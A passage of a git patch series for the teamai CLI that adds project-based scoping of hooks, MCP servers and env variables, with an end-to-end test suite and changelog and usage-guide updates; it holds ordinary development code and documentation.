Optional restriction to directories bound to one of these logical project ids (default = every directory; [] = nobody). */ + projects: z.array(z.string()).optional(), }); const EnvYamlSchema = z.object({ @@ -27,6 +32,27 @@ const EnvYamlSchema = z.object({ export type EnvVariable = z.infer; export type EnvYaml = z.infer; +/** + * The declared variables this member and directory are scoped to, in declaration + * order. Omitted `roles:`/`projects:` = everyone, an empty list = nobody, and an + * axis the member has not configured filters nothing (see `matchesMembership`). + * + * The one filter both delivery paths use: `pullItem` writes env.sh from it, and + * `doctor` diffs env.sh against it. A second copy is how doctor ends up + * reporting a project-scoped variable as undelivered on a pull that correctly + * withheld it. + * + * Note this does NOT gate `countEnvVars`, which answers the different question + * of how many variables the team declares — the probe `pull` uses to tell an + * empty env.yaml from a malformed one (#662). + */ +export function resolveDeliverableEnvVariables( + variables: EnvVariable[], + membership: Membership, +): EnvVariable[] { + return variables.filter((variable) => matchesMembership(variable, membership)); +} + /** A parsed env.yaml, or the reason it declares nothing. See `readEnvYaml`. */ export type EnvYamlRead = | { ok: true; variables: EnvVariable[] } @@ -243,17 +269,29 @@ export class EnvHandler extends ResourceHandler { if (envConfig.variables.length === 0) return; + // Which of the declared variables this member and directory are scoped to. + // Deliberately applied AFTER the "nothing declared" return above: a team that + // declares variables none of which reach this member must still get an + // env.sh written (an empty one), because that is what REMOVES the variables + // an earlier pull had given them. + await warnUnknownMembershipIds( + localConfig.repo.localPath, + 'env.yaml', + envConfig.variables.map((v) => ({ kind: 'variable', name: v.key, roles: v.roles, projects: v.projects })), + ); + const variables = resolveDeliverableEnvVariables(envConfig.variables, resolveMembership(localConfig)); + // Write the machine-local KEY=VALUE backup (for loadEnvFile / buildVarTable). // getEnvBackupPath returns /env normally, but /env.local // in self mode — where /env is a committed DIRECTORY (env/env.yaml) // and writing a file there would throw EISDIR. const teamaiHome = getDataHome(localConfig); - const backupLines = envConfig.variables.map(v => `${v.key}=${v.value}`); + const backupLines = variables.map(v => `${v.key}=${v.value}`); await ensureDir(teamaiHome); await writeFile(getEnvBackupPath(localConfig), backupLines.join('\n') + '\n'); // Write /env.sh (sourceable export file) - const envShContent = this.generateEnvFile(envConfig.variables); + const envShContent = this.generateEnvFile(variables); await writeFile(path.join(teamaiHome, 'env.sh'), envShContent); // Inject source line into shell profile if enabled From 6e2fc287f251e2bb088dcd39a2bfb15993bff5a8 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:27:53 +0200 Subject: [PATCH 05/12] test(e2e): project-scoped delivery through the real CLI, and an honest env count MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds src/__tests__/e2e/project-scoped-delivery.test.ts: a directory bound to one project receives that project's MCP server, hook and env variable and not the other's; an entry scoping both axes reaches only a member matching both; and 'projects set' to another project REMOVES what the first delivered. Both MCP render paths are covered — Claude's JSON in project scope, Codex's TOML in user scope, since Codex has no project-scope MCP location. The e2e run found a reporting bug this branch introduced: pull printed the DECLARED count ('Synced 2 env variable(s)') while delivering one. Adds countDeliverableEnvVars and reports 'Synced 1 of 2 env variable(s)' when the two differ, so a member who expected a variable can see it was scoped away rather than lost. countEnvVars stays unfiltered for the #662 probe. --- .../e2e/project-scoped-delivery.test.ts | 413 ++++++++++++++++++ src/__tests__/env-handler.test.ts | 15 + src/pull.ts | 13 +- src/resources/env.ts | 13 + 4 files changed, 452 insertions(+), 2 deletions(-) create mode 100644 src/__tests__/e2e/project-scoped-delivery.test.ts diff --git a/src/__tests__/e2e/project-scoped-delivery.test.ts b/src/__tests__/e2e/project-scoped-delivery.test.ts new file mode 100644 index 000000000..14b31bf5c --- /dev/null +++ b/src/__tests__/e2e/project-scoped-delivery.test.ts @@ -0,0 +1,413 @@ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { execFileSync, spawn } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +// ─── project-scoped hooks / MCP / env e2e (issue #668) ────────────────────── +// +// The unit suites drive each filter directly. This is the end-to-end leg, +// through the ACTUAL compiled CLI, for the three resource types whose delivery +// costs something on every session: +// 1. a directory bound to `checkout` receives checkout's MCP server, hook and +// env variable, and NOT billing's; +// 2. an entry scoping both axes reaches only a member matching both; +// 3. `projects set` to another project REMOVES what the first one delivered — +// the guarantee that makes the filter safe to change your mind about. +// +// Both MCP render paths are covered: Claude's JSON in project scope, and — in a +// second user-scope leg — Codex's TOML, since Codex has no project-scope MCP +// location. A filter that drops a server before rendering has to drop it from +// both. + +const __dirname = path.dirname(fileURLToPath(import.meta.url)); +const ROOT = path.resolve(__dirname, '..', '..', '..'); +const CLI = path.join(ROOT, 'dist', 'index.js'); + +const GIT_ENV = { + GIT_AUTHOR_NAME: 'TeamAI CI', + GIT_AUTHOR_EMAIL: 'ci@teamai.test', + GIT_COMMITTER_NAME: 'TeamAI CI', + GIT_COMMITTER_EMAIL: 'ci@teamai.test', +}; + +interface RunResult { + code: number | null; + output: string; +} + +function git(args: string[], cwd: string): string { + return execFileSync('git', args, { + cwd, + encoding: 'utf8', + env: { ...process.env, ...GIT_ENV }, + }).trim(); +} + +function runCLI(args: string[], cwd: string, home: string): Promise { + return new Promise((resolve) => { + const child = spawn('node', [CLI, ...args], { + cwd, + env: { ...process.env, ...GIT_ENV, HOME: home, FORCE_COLOR: '0' }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let output = ''; + child.stdout.on('data', (data: Buffer) => { output += data.toString(); }); + child.stderr.on('data', (data: Buffer) => { output += data.toString(); }); + child.on('close', (code) => resolve({ code, output })); + }); +} + +describe('project-scoped hooks, MCP servers and env variables via the real CLI (issue #668)', () => { + let sandbox: string; + let home: string; + let projectRoot: string; + let remote: string; + + const envShPath = (): string => path.join(projectRoot, '.teamai', 'env.sh'); + const readEnvSh = (): string => fs.readFileSync(envShPath(), 'utf8'); + // In project scope Claude's MCP lands in /.mcp.json (toolPaths + // `mcpProject`), not the user-scope ~/.claude.json. + const readClaudeMcp = (): string => fs.readFileSync(path.join(projectRoot, '.mcp.json'), 'utf8'); + const claudeSettingsPath = (): string => path.join(home, '.claude', 'settings.json'); + + beforeAll(() => { + if (!fs.existsSync(CLI)) { + throw new Error(`CLI binary not found at ${CLI}. Run "npm run build" first.`); + } + + sandbox = fs.mkdtempSync(path.join(os.tmpdir(), 'teamai-scoped-delivery-e2e-')); + home = path.join(sandbox, 'home'); + projectRoot = path.join(sandbox, 'project'); + const seed = path.join(sandbox, 'seed'); + remote = path.join(sandbox, 'team.git'); + const teamRepo = path.join(projectRoot, '.teamai', 'team-repo'); + + fs.mkdirSync(home, { recursive: true }); + // The MCP reconcile only targets a tool it considers installed, probed via + // its skills dir — so the sandbox has to look like a Claude checkout. + fs.mkdirSync(path.join(projectRoot, '.claude', 'skills'), { recursive: true }); + + fs.mkdirSync(path.join(seed, 'manifest'), { recursive: true }); + fs.mkdirSync(path.join(seed, 'hooks'), { recursive: true }); + fs.mkdirSync(path.join(seed, 'mcp'), { recursive: true }); + fs.mkdirSync(path.join(seed, 'env'), { recursive: true }); + + fs.writeFileSync(path.join(seed, 'teamai.yaml'), [ + 'team: scoped-delivery-e2e', + `repo: ${remote}`, + 'provider: git', + 'reviewers: []', + 'sharing:', + ' hooks:', + ' autoApply: true', + ' mcp:', + ' autoApply: true', + '', + // No toolPaths override on purpose: the built-in defaults are what carry + // claude's `mcpProject` (/.mcp.json). An override that lists only + // `skills` drops it, and MCP then has no project-scope target at all. + ].join('\n')); + + fs.writeFileSync(path.join(seed, 'manifest', 'roles.yaml'), [ + 'version: 1', + 'roles:', + ' - id: frontend', + ' description: Frontend', + ' resources:', + ' knowledge: []', + ' skills: []', + ' - id: devops', + ' description: DevOps', + ' resources:', + ' knowledge: []', + ' skills: []', + '', + ].join('\n')); + + fs.writeFileSync(path.join(seed, 'manifest', 'projects.yaml'), [ + 'version: 1', + 'projects:', + ' - id: checkout', + ' name: Checkout', + ' resources:', + ' skills: []', + ' - id: billing', + ' name: Billing', + ' resources:', + ' skills: []', + '', + ].join('\n')); + + fs.writeFileSync(path.join(seed, 'mcp', 'mcp.yaml'), [ + 'servers:', + ' - name: checkout-api', + ' transport: http', + ' url: https://checkout.example.com/mcp', + ' projects: [checkout]', + ' - name: billing-api', + ' transport: http', + ' url: https://billing.example.com/mcp', + ' projects: [billing]', + ' - name: fe-checkout-api', + ' transport: http', + ' url: https://fe-checkout.example.com/mcp', + ' roles: [frontend]', + ' projects: [checkout]', + ' - name: shared-api', + ' transport: http', + ' url: https://shared.example.com/mcp', + '', + ].join('\n')); + + fs.writeFileSync(path.join(seed, 'hooks', 'hooks.yaml'), [ + 'hooks:', + ' - id: checkout-guard', + ' description: checkout only', + ' event: Stop', + ' command: echo checkout', + ' projects: [checkout]', + ' - id: billing-guard', + ' description: billing only', + ' event: Stop', + ' command: echo billing', + ' projects: [billing]', + ' - id: shared-guard', + ' description: everyone', + ' event: Stop', + ' command: echo shared', + '', + ].join('\n')); + + fs.writeFileSync(path.join(seed, 'env', 'env.yaml'), [ + 'variables:', + ' - key: CHECKOUT_URL', + ' value: https://checkout.example.com', + ' projects: [checkout]', + ' - key: BILLING_URL', + ' value: https://billing.example.com', + ' projects: [billing]', + ' - key: DEVOPS_ONLY', + ' value: devops-secret', + ' roles: [devops]', + ' - key: SHARED_URL', + ' value: https://shared.example.com', + '', + ].join('\n')); + + git(['init', '-q', '-b', 'main'], seed); + git(['add', '-A'], seed); + git(['commit', '-q', '-m', 'seed'], seed); + git(['clone', '-q', '--bare', seed, remote], sandbox); + git(['clone', '-q', remote, teamRepo], projectRoot); + + fs.writeFileSync(path.join(projectRoot, '.teamai', 'config.yaml'), [ + 'repo:', + ` localPath: ${teamRepo}`, + ` remote: ${remote}`, + 'username: scoped-user', + 'updatePolicy: auto', + 'scope: project', + `projectRoot: ${projectRoot}`, + 'primaryRole: frontend', + 'additionalRoles: []', + 'enabledAgents: [claude, codex]', + '', + ].join('\n')); + }); + + afterAll(() => { + if (sandbox) fs.rmSync(sandbox, { recursive: true, force: true }); + }); + + it('delivers only the bound project\'s entries, ANDs the two axes, and removes them on rebind', async () => { + // ── Bind to checkout ─────────────────────────────────────────────────── + const setCheckout = await runCLI(['projects', 'set', 'checkout'], projectRoot, home); + expect(setCheckout.code, setCheckout.output).toBe(0); + + const pullCheckout = await runCLI(['pull', '--force'], projectRoot, home); + expect(pullCheckout.code, pullCheckout.output).toBe(0); + + // env: checkout's and the shared variable land in env.sh; billing's does + // not, and neither does the devops-only one (this member is frontend). + const envCheckout = readEnvSh(); + expect(envCheckout).toContain('CHECKOUT_URL'); + expect(envCheckout).toContain('SHARED_URL'); + expect(envCheckout).not.toContain('BILLING_URL'); + expect(envCheckout).not.toContain('DEVOPS_ONLY'); + + // mcp: checkout's, the both-axes one (frontend AND checkout both match) and + // the shared one are installed for Claude; billing's is not. + const mcpCheckout = readClaudeMcp(); + expect(mcpCheckout).toContain('checkout-api'); + expect(mcpCheckout).toContain('fe-checkout-api'); + expect(mcpCheckout).toContain('shared-api'); + expect(mcpCheckout).not.toContain('billing-api'); + + // hooks: the same split, in the settings file the reconcile writes. + const claudeSettings = fs.readFileSync(claudeSettingsPath(), 'utf8'); + expect(claudeSettings).toContain('echo checkout'); + expect(claudeSettings).toContain('echo shared'); + expect(claudeSettings).not.toContain('echo billing'); + + // ── Rebind to billing: what checkout delivered must be REMOVED ───────── + const setBilling = await runCLI(['projects', 'set', 'billing'], projectRoot, home); + expect(setBilling.code, setBilling.output).toBe(0); + + const pullBilling = await runCLI(['pull', '--force'], projectRoot, home); + expect(pullBilling.code, pullBilling.output).toBe(0); + + const envBilling = readEnvSh(); + expect(envBilling).toContain('BILLING_URL'); + expect(envBilling).toContain('SHARED_URL'); + expect(envBilling).not.toContain('CHECKOUT_URL'); + + const mcpBilling = readClaudeMcp(); + expect(mcpBilling).toContain('billing-api'); + expect(mcpBilling).toContain('shared-api'); + expect(mcpBilling).not.toContain('checkout-api'); + // The both-axes server: the role still matches, the project no longer does, + // so AND drops it. An OR would have kept it. + expect(mcpBilling).not.toContain('fe-checkout-api'); + + const settingsBilling = fs.readFileSync(claudeSettingsPath(), 'utf8'); + expect(settingsBilling).toContain('echo billing'); + expect(settingsBilling).not.toContain('echo checkout'); + }, 120_000); + + it('reports the restriction in mcp list, hooks list and env list', async () => { + const mcpList = await runCLI(['mcp', 'list'], projectRoot, home); + expect(mcpList.code, mcpList.output).toBe(0); + expect(mcpList.output).toContain('projects: checkout'); + expect(mcpList.output).toContain('projects: billing'); + expect(mcpList.output).toMatch(/roles:\s+frontend/); + + const hooksList = await runCLI(['hooks', 'list'], projectRoot, home); + expect(hooksList.code, hooksList.output).toBe(0); + expect(hooksList.output).toContain('projects: checkout'); + expect(hooksList.output).toContain('projects: billing'); + + const envList = await runCLI(['env', 'list'], projectRoot, home); + expect(envList.code, envList.output).toBe(0); + expect(envList.output).toContain('(projects: checkout)'); + expect(envList.output).toContain('(roles: devops)'); + }, 60_000); + + it('warns about a project id the manifest does not define', async () => { + const teamRepo = path.join(projectRoot, '.teamai', 'team-repo'); + fs.writeFileSync(path.join(teamRepo, 'mcp', 'mcp.yaml'), [ + 'servers:', + ' - name: typo-api', + ' transport: http', + ' url: https://typo.example.com/mcp', + ' projects: [chekout]', + '', + ].join('\n')); + + const pull = await runCLI(['pull', '--force'], projectRoot, home); + expect(pull.code, pull.output).toBe(0); + expect(pull.output).toContain('unknown project id "chekout"'); + expect(pull.output).toContain('checkout, billing'); + }, 60_000); +}); + +// Codex has no project-scope MCP location (no `mcpProject` in toolPaths), so its +// TOML renderer is only reachable from user scope. It is the second of the two +// MCP render paths: a filter that drops a server before rendering has to drop it +// from the TOML file as much as from Claude's JSON. +describe('project-scoped MCP reaches the Codex TOML renderer too (issue #668)', () => { + let sandbox: string; + let home: string; + let workdir: string; + + beforeAll(() => { + if (!fs.existsSync(CLI)) { + throw new Error(`CLI binary not found at ${CLI}. Run "npm run build" first.`); + } + + sandbox = fs.mkdtempSync(path.join(os.tmpdir(), 'teamai-scoped-codex-e2e-')); + home = path.join(sandbox, 'home'); + workdir = path.join(sandbox, 'work'); + const seed = path.join(sandbox, 'seed'); + const remote = path.join(sandbox, 'team.git'); + const teamRepo = path.join(home, '.teamai', 'team-repo'); + + fs.mkdirSync(workdir, { recursive: true }); + // Codex must look installed for the reconcile to target it. + fs.mkdirSync(path.join(home, '.codex', 'skills'), { recursive: true }); + fs.mkdirSync(path.join(home, '.teamai'), { recursive: true }); + fs.mkdirSync(path.join(seed, 'manifest'), { recursive: true }); + fs.mkdirSync(path.join(seed, 'mcp'), { recursive: true }); + + fs.writeFileSync(path.join(seed, 'teamai.yaml'), [ + 'team: scoped-codex-e2e', + `repo: ${remote}`, + 'provider: git', + 'reviewers: []', + 'sharing:', + ' mcp:', + ' autoApply: true', + '', + ].join('\n')); + fs.writeFileSync(path.join(seed, 'manifest', 'projects.yaml'), [ + 'version: 1', + 'projects:', + ' - id: checkout', + ' name: Checkout', + ' resources:', + ' skills: []', + ' - id: billing', + ' name: Billing', + ' resources:', + ' skills: []', + '', + ].join('\n')); + fs.writeFileSync(path.join(seed, 'mcp', 'mcp.yaml'), [ + 'servers:', + ' - name: checkout-api', + ' transport: stdio', + ' command: echo', + ' args: [checkout]', + ' projects: [checkout]', + ' - name: billing-api', + ' transport: stdio', + ' command: echo', + ' args: [billing]', + ' projects: [billing]', + '', + ].join('\n')); + + git(['init', '-q', '-b', 'main'], seed); + git(['add', '-A'], seed); + git(['commit', '-q', '-m', 'seed'], seed); + git(['clone', '-q', '--bare', seed, remote], sandbox); + git(['clone', '-q', remote, teamRepo], home); + + fs.writeFileSync(path.join(home, '.teamai', 'config.yaml'), [ + 'repo:', + ` localPath: ${teamRepo}`, + ` remote: ${remote}`, + 'username: codex-user', + 'updatePolicy: auto', + 'scope: user', + 'additionalRoles: []', + 'projects: [checkout]', + 'enabledAgents: [codex]', + '', + ].join('\n')); + }); + + afterAll(() => { + if (sandbox) fs.rmSync(sandbox, { recursive: true, force: true }); + }); + + it('renders only the bound project\'s server into ~/.codex/config.toml', async () => { + const pull = await runCLI(['pull', '--force'], workdir, home); + expect(pull.code, pull.output).toBe(0); + + const toml = fs.readFileSync(path.join(home, '.codex', 'config.toml'), 'utf8'); + expect(toml).toContain('checkout-api'); + expect(toml).not.toContain('billing-api'); + }, 120_000); +}); diff --git a/src/__tests__/env-handler.test.ts b/src/__tests__/env-handler.test.ts index 623e4d21a..c6f43dbe6 100644 --- a/src/__tests__/env-handler.test.ts +++ b/src/__tests__/env-handler.test.ts @@ -239,6 +239,21 @@ scope: 'user', expect(count).toBe(0); }); + it('reports the deliverable count separately, for the pull summary line', async () => { + const envYamlPath = path.join(repoPath, 'env', 'env.yaml'); + await fse.writeFile(envYamlPath, YAML.stringify({ + variables: [ + { key: 'A', value: '1', projects: ['checkout'] }, + { key: 'B', value: '2', projects: ['billing'] }, + { key: 'C', value: '3' }, + ], + })); + + expect(await handler.countEnvVars(envYamlPath)).toBe(3); + expect(await handler.countDeliverableEnvVars(envYamlPath, { ...localConfig, projects: ['checkout'] })).toBe(2); + expect(await handler.countDeliverableEnvVars(envYamlPath, localConfig)).toBe(3); + }); + it('counts what the team declares, not what reaches this member', async () => { // countEnvVars gates the #662 "no variables: key" warning in pull.ts: a // count of 0 means the file may be malformed. Filtering it would fire that diff --git a/src/pull.ts b/src/pull.ts index b05417ea1..fe2073258 100644 --- a/src/pull.ts +++ b/src/pull.ts @@ -1069,12 +1069,21 @@ async function pullForScope( continue; } + // What the team declares (`varCount`, above) is not what reaches this + // member: a variable can carry `roles:`/`projects:`. Report the delivered + // number, and name the declared one when they differ so a member who + // expected a variable can see it was scoped away rather than lost. + const deliverable = await envHandler.countDeliverableEnvVars(items[0].sourcePath, localConfig); + const countLabel = deliverable === varCount + ? `${varCount} env variable(s)` + : `${deliverable} of ${varCount} env variable(s)`; + if (options.dryRun) { - log.info(`[${scopeLabel}] [dry-run] Would sync ${varCount} env variable(s)`); + log.info(`[${scopeLabel}] [dry-run] Would sync ${countLabel}`); } else { await envHandler.pullItem(items[0], freshConfig, localConfig); const teamaiHome = getDataHome(localConfig); - log.success(`[${scopeLabel}] Synced ${varCount} env variable(s) to ${teamaiHome}/env.sh`); + log.success(`[${scopeLabel}] Synced ${countLabel} to ${teamaiHome}/env.sh`); } totalSynced += 1; continue; diff --git a/src/resources/env.ts b/src/resources/env.ts index 8cfa38b37..70a487b21 100644 --- a/src/resources/env.ts +++ b/src/resources/env.ts @@ -323,6 +323,19 @@ export class EnvHandler extends ResourceHandler { } } + /** + * How many of the declared variables actually reach this member and directory. + * + * Separate from `countEnvVars`, which answers what the TEAM declares and gates + * the #662 shape probe. This one is what the pull summary line reports, so a + * member scoped to one of three variables is not told three were synced. + */ + async countDeliverableEnvVars(sourcePath: string, localConfig: LocalConfig): Promise { + const read = await this.readEnvYaml(sourcePath); + if (!read.ok) return 0; + return resolveDeliverableEnvVariables(read.variables, resolveMembership(localConfig)).length; + } + /** * Read an env.yaml and report the shape problem `describeEnvYamlShapeProblem` * detects, or `null` when the file yields a usable shape. From 7af5a64cd105d5aa1019f01118a9b4756b9a3852 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Mon, 21 Sep 2026 22:31:28 +0200 Subject: [PATCH 06/12] docs: project scoping for hooks, MCP servers and env variables MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The resource table moved out of the five READMEs into docs/product-overview.md (EN + zh) when #722 slimmed the README to a landing page, so its Env, Hooks and MCP rows extend their existing one-line note there rather than gaining rows. usage-guide (EN + zh) gains the projects: line in the mcp and hooks snippets, the hooks field-table row, a projects paragraph mirroring the canonical roles one, and an explicit note that the two axes AND — which readers would otherwise assume mirrors the role-project union that resource namespaces take. env.yaml's schema was documented in no language before this: its section only showed 'teamai env add'. It now carries the first env.yaml snippet, the AND rule, the removal-on-rebind behaviour, and the last-pull-wins consequence of a shell profile that holds one block pointing at one env.sh. docs/designs/multi-project-management.md listed hooks/mcp/env in neither its affected surface nor its out-of-scope section; both now name #668, and the out-of-scope note records what stays unscoped (packages, docs, culture.md). --- CHANGELOG.md | 2 ++ docs/designs/multi-project-management.md | 15 ++++++++++++ docs/product-overview.md | 6 ++--- docs/product-overview.zh-CN.md | 6 ++--- docs/usage-guide.md | 30 ++++++++++++++++++++++++ docs/usage-guide.zh-CN.md | 30 ++++++++++++++++++++++++ 6 files changed, 83 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d2abe7fdc..2f7b5cab0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,8 @@ All notable changes to this project will be documented in this file. See [standa ### ✨ Features +- Hooks, MCP servers and env variables can be scoped by logical project, the second membership axis they lacked. A `hooks/hooks.yaml` hook and an `mcp/mcp.yaml` server accept an optional `projects:` list beside `roles:`, and an `env/env.yaml` variable accepts both. An entry reaches a member when one of the projects its directory is bound to (`teamai projects set`) is listed; `projects: []` reaches nobody, and a directory bound to no project keeps receiving every entry, so nothing changes until a maintainer adds the key. The two axes compose as AND, the way `tools:` and `roles:` already do, so `roles: [frontend] projects: [checkout]` reaches frontend members of checkout rather than everyone on either. Rebinding with `teamai projects set` removes the previous project's entries on the next pull — for env that means the variable leaves `env.sh`, and `teamai doctor` applies the same filter, so a variable correctly withheld is not reported as undelivered. An id that `manifest/projects.yaml` does not define produces one warning per pull, and so does a `projects:` key in a team with no projects manifest, where it restricts nothing. `teamai mcp list`, `teamai hooks list` and `teamai env list` show the restriction, and `pull` reports `Synced 1 of 3 env variable(s)` when scoping withheld some. This is what the keys exist to control: a team with five projects and three MCP servers each gave every member of a role fifteen server processes and fifteen tool lists in the context of every session (for [#668](https://github.com/Tencent/teamai-cli/issues/668)). + - `teamai doctor` now checks what landed for every resource, not only skills and docs. `Rules delivered to ` and `Agents delivered to ` ask the resource handler where an item lands — a rule's filename and content change per tool, an agent's destination comes from its render and its `targets:` — and compare a delivered rule with the bytes the handler renders for that tool, so a `.mdc` whose `globs` drifted from the team rule's `paths:` is reported rather than passing on the presence of its frontmatter keys. An agent is compared with the bytes its render produces, so a copy left behind by an older spec is reported rather than counted as delivered. `Every team agent reaches a tool` names an agent that renders for no installed tool, and is reported whenever a tool is installed to receive agents, including when no agent renders anywhere. Two tools do not read a rules directory and get a check each: `Team rules are active in opencode` fails when `opencode.json` stops listing the glob that makes the delivered `.md` files load at all, and `Team rules are inlined in Hermes SOUL.md` compares the managed block of `SOUL.md` with what the team rules inline to. `MCP servers delivered to ` compares each server the team resolves for a tool with the entry in that tool's own config — the entry, not the name, since reconciliation leaves an entry teamai does not own alone, so an unrelated server under a team name holds the key while the team's definition never arrives — and names any the reconcile skipped with its reason, so an unresolved `${VAR}` is reported with the variable instead of being mentioned once during a pull and never again. An `mcp.yaml` that does not parse is reported as `Team MCP servers can be read` rather than read as a team shipping no MCP at all. `Env variables injected in shell profile` stops at the marker comment no longer: it checks that `env/env.yaml` parses and declares its variables under `variables:` (an explicit `variables: []` is an empty configuration and fails nothing), that each reached `env.sh` with the declared value — read back through the generator's own inverse, so a multiline value quoted across several lines is matched rather than reported stale — and that the injected block would actually load it. The two expensive registries, rules and agents, are built for `teamai doctor` only, so the checks at the end of a pull keep their budget (for [#624](https://github.com/Tencent/teamai-cli/issues/624)). - A manual `teamai pull` ends by running the `teamai doctor` checks and printing each one that failed, with its fix. It prints nothing when they all pass, the exit code is unchanged, and the SessionStart hook path (`--silent`) and `--dry-run` run no checks, so session startup is untouched. Provider authentication checks are left to `teamai doctor`: the pull just used the provider. So is any check that pull already reported in its own words on that run — the queued-learnings warning is not immediately repeated as a check telling you to run the pull you just ran. A check the pull stayed silent about is still printed (for [#598](https://github.com/Tencent/teamai-cli/issues/598)). - `teamai doctor` now checks what landed, not only the plumbing. `Skills delivered to ` compares the skills your roles, tag subscriptions and exclusions resolve to against each installed tool's directory, reporting a skill that never arrived separately from one that arrived unreadable (`SKILL.md` missing, unparseable frontmatter, or a `name` that does not match the directory, which keeps the agent from discovering it). `Team docs delivered` does the same for the docs bundle against `sharing.docs.localDir`. ` is installed` fails when `enabledAgents` lists a tool with no directory here, instead of skipping it silently, and reports an installed one as passing so `--json` carries an entry either way. Resolving a skill's destination without a team copy to compare against no longer warns about a Codex shared-directory conflict, so a read-only `doctor` stops reporting one for copies the pull treats as identical. The installed check asks the same resolver the sync uses, so OpenClaw is judged at its workspace directory rather than its tool root. `Team docs delivered` requires each expected document to be a readable file, not merely a name that exists. And a pull that found a scope locked by another process runs no checks at the end, since they would read a clone that process may have mid-write (for [#598](https://github.com/Tencent/teamai-cli/issues/598)). diff --git a/docs/designs/multi-project-management.md b/docs/designs/multi-project-management.md index 25cb43524..308788a7e 100644 --- a/docs/designs/multi-project-management.md +++ b/docs/designs/multi-project-management.md @@ -233,6 +233,14 @@ experience) both need it, without affecting the single-project main path. **Docs:** README (bilingual) + usage-guide (bilingual) per the CLAUDE.md sync rule. +**Extended by [#668](https://github.com/Tencent/teamai-cli/issues/668):** the three +per-item-scoped resource types this design did not cover. `hooks/hooks.yaml` and +`mcp/mcp.yaml` entries gain an optional `projects:` key beside their `roles:` one, +and `env/env.yaml` variables gain both — `src/membership.ts` resolves the two axes +together and ANDs them, so a delivery path cannot filter on one and forget the +other. Unlike resource namespaces, which take the role ∪ project union, a +per-item key is a restriction. + ## Phasing | Phase | Scope | @@ -263,6 +271,13 @@ lone project; migrating existing flat learnings into a `shared/` subdirectory; `teamai projects set --all` (the `all` selector is limited to `init --project` — re-running `init --project all` already re-resolves the current manifest). +Also out of scope here, and delivered later by +[#668](https://github.com/Tencent/teamai-cli/issues/668): per-item project scoping +of hooks, MCP servers and env variables. Still unscoped on either axis after it: +`packages` (whose schema mixes an array with a nested object, so it is not the same +edit), `docs`, and `culture.md` — which suits a document defining how the whole +team works. + ## End-to-end test plan (real CLI, per CLAUDE.md — type-check/unit tests don't count) 1. **No manifest → unchanged.** Repo without `projects.yaml`: `init`/`pull`/`recall` diff --git a/docs/product-overview.md b/docs/product-overview.md index 7b32a0fae..73959a40f 100644 --- a/docs/product-overview.md +++ b/docs/product-overview.md @@ -91,9 +91,9 @@ Each resource is delivered to every agent: | **Agents** | `agents/.yaml`, `agents//.yaml` | Root agents reach everyone; a namespace directory ships only to roles/projects that list it under `agents:` | | **Culture** | `culture.md` | Team mission, values, and working principles — injected into each agent's CLAUDE.md / AGENTS.md so every session inherits them | | **CLAUDE.md** | `claudemd/*.md` | | -| **Env** | `env/` | Shared team-level environment variables and switches; do not put secrets here | -| **Hooks** | `hooks/hooks.yaml` | Each hook may carry `roles:` to reach only members holding one of those roles | -| **MCP** | `mcp/mcp.yaml` | Each server may carry `roles:` to reach only members holding one of those roles | +| **Env** | `env/` | Shared team-level environment variables and switches; do not put secrets here. Each variable may carry `roles:` / `projects:` | +| **Hooks** | `hooks/hooks.yaml` | Each hook may carry `roles:` / `projects:` to reach only members holding one of those roles and directories bound to one of those projects | +| **MCP** | `mcp/mcp.yaml` | Each server may carry `roles:` / `projects:` to reach only members holding one of those roles and directories bound to one of those projects | | **Packages** | `teamai.yaml` | Currently npm packages and Claude Code plugins only | | **Models** | — | Not implemented for every provider yet | diff --git a/docs/product-overview.zh-CN.md b/docs/product-overview.zh-CN.md index 5e6c9792a..c1f2640e7 100644 --- a/docs/product-overview.zh-CN.md +++ b/docs/product-overview.zh-CN.md @@ -91,9 +91,9 @@ teamai push → 创建分支 + MR → reviewer 审批合并 | **Agents** | `agents/.yaml`、`agents//.yaml` | 根目录 agents 对所有人生效；namespace 子目录只同步给在 `agents:` 中列出它的角色/项目 | | **Culture** | `culture.md` | 团队使命、价值观与协作准则——注入各 Agent 的 CLAUDE.md / AGENTS.md，成为每次会话的行事底色 | | **CLAUDE.md** | `claudemd/*.md` | | -| **Env** | `env/` | 通用环境变量、团队级开关；不建议直接放密钥 | -| **Hooks** | `hooks/hooks.yaml` | 每条 hook 可加 `roles:`，只分发给持有这些角色的成员 | -| **MCP** | `mcp/mcp.yaml` | 每个 server 可加 `roles:`，只分发给持有这些角色的成员 | +| **Env** | `env/` | 通用环境变量、团队级开关；不建议直接放密钥。每个变量可加 `roles:` / `projects:` | +| **Hooks** | `hooks/hooks.yaml` | 每条 hook 可加 `roles:` / `projects:`，只分发给持有这些角色的成员、且绑定了这些项目的目录 | +| **MCP** | `mcp/mcp.yaml` | 每个 server 可加 `roles:` / `projects:`，只分发给持有这些角色的成员、且绑定了这些项目的目录 | | **Packages** | `teamai.yaml` | 目前只支持 npm 包和 Claude 插件 | | **Models** | — | 暂时没有对全部 provider 实现 | diff --git a/docs/usage-guide.md b/docs/usage-guide.md index 99a6d1f0f..48c303a1e 100644 --- a/docs/usage-guide.md +++ b/docs/usage-guide.md @@ -744,6 +744,27 @@ teamai env list teamai push ``` +Variables live in the team repo's `env/env.yaml`. `teamai env add` writes the first three fields; `roles` and `projects` are hand-edited, as they are for hooks and MCP servers: + +```yaml +variables: + - key: API_ENDPOINT + value: https://api.example.com + description: Team API endpoint # optional + - key: CHECKOUT_DB_URL + value: https://checkout-db.internal + projects: [checkout] # optional; default is every directory + - key: DEPLOY_REGISTRY + value: registry.internal + roles: [devops] # optional; default is every member +``` + +`roles` and `projects` follow the same rule as on MCP servers and hooks: omitted reaches everyone, `[]` reaches nobody, an axis the member has not configured filters nothing, and the two compose as **AND**. A variable that no longer matches is removed from `env.sh` on the next pull, so changing role or running `teamai projects set` takes it out of the member's shell. `teamai env add` on an existing key keeps whatever `roles:`/`projects:` it already carries. + +`pull` reports what reached this 